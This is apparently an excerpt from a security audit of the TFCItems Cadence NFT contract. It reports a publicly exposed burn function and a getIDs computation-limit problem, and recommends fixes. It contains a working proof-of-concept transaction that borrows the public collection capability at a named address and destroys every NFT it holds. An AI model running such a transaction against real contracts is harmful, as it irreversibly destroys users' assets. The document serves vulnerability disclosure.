// line 154
pub resource interface TFCItemsCollectionPublic {
pub fun burn(burnID: UInt64)
// line 181 to 185
pub fun burn(burnID: UInt64){
let token <- self.ownedNFTs.remove(key: burnID) ?? panic("missing NFT")
destroy token
emit Burned(id: burnID, from: self.owner?.address)
}
In line 154
, the burn
functionality is exposed in the TFCItemsCollectionPublic
resource interface. Since the TFCItemsCollectionPublic
interface is used to expose certain functions inside the Collection
resource publicly, an attacker can burn all victims’ NFTs by borrowing the public capability situated under CollectionPublicPath
and calling the burn
function.
Below is an example transaction code that illustrates the attack.
import TFCItems from 0x81e95660ab5308e1
transaction() {
execute {
let account = getAccount(0x81e95660ab5308e1)
let cap = account.getCapability<&{TFCItems.TFCItemsCollectionPublic}>(TFCItems.CollectionPublicPath).borrow()!
let availableNFTs = cap.getIDs()
for nft in availableNFTs {
cap.burn(burnID: nft)
}
}
}
Consider removing the burn
functionality in line 154
.
The getIDs
functionality will fail due to the computation limit if the account holds too many NFTs. An example is demonstrated below:
import TFCItems from 0x81e95660ab5308e1
pub fun main(): [UInt64] {
let account = getAccount(0x81e95660ab5308e1)
let cap = account.getCapability<&{TFCItems.TFCItemsCollectionPublic}>(TFCItems.CollectionPublicPath).borrow()!
let availableNFTs = cap.getIDs()
return availableNFTs
}
/*
❌ Invalid argument: failed to execute script: failed to execute script at block (dfc6212e6a815d7846ad18d0fc99e38e498a720e9756cd3c759e2b6693e4a8e9): [Error Code: 1110] computation exceeds limit (100000)
🙏 Check your argument and flags value, you can use --help.
*/
To mitigate this, consider adding a pagination mechanism for a custom query functionality.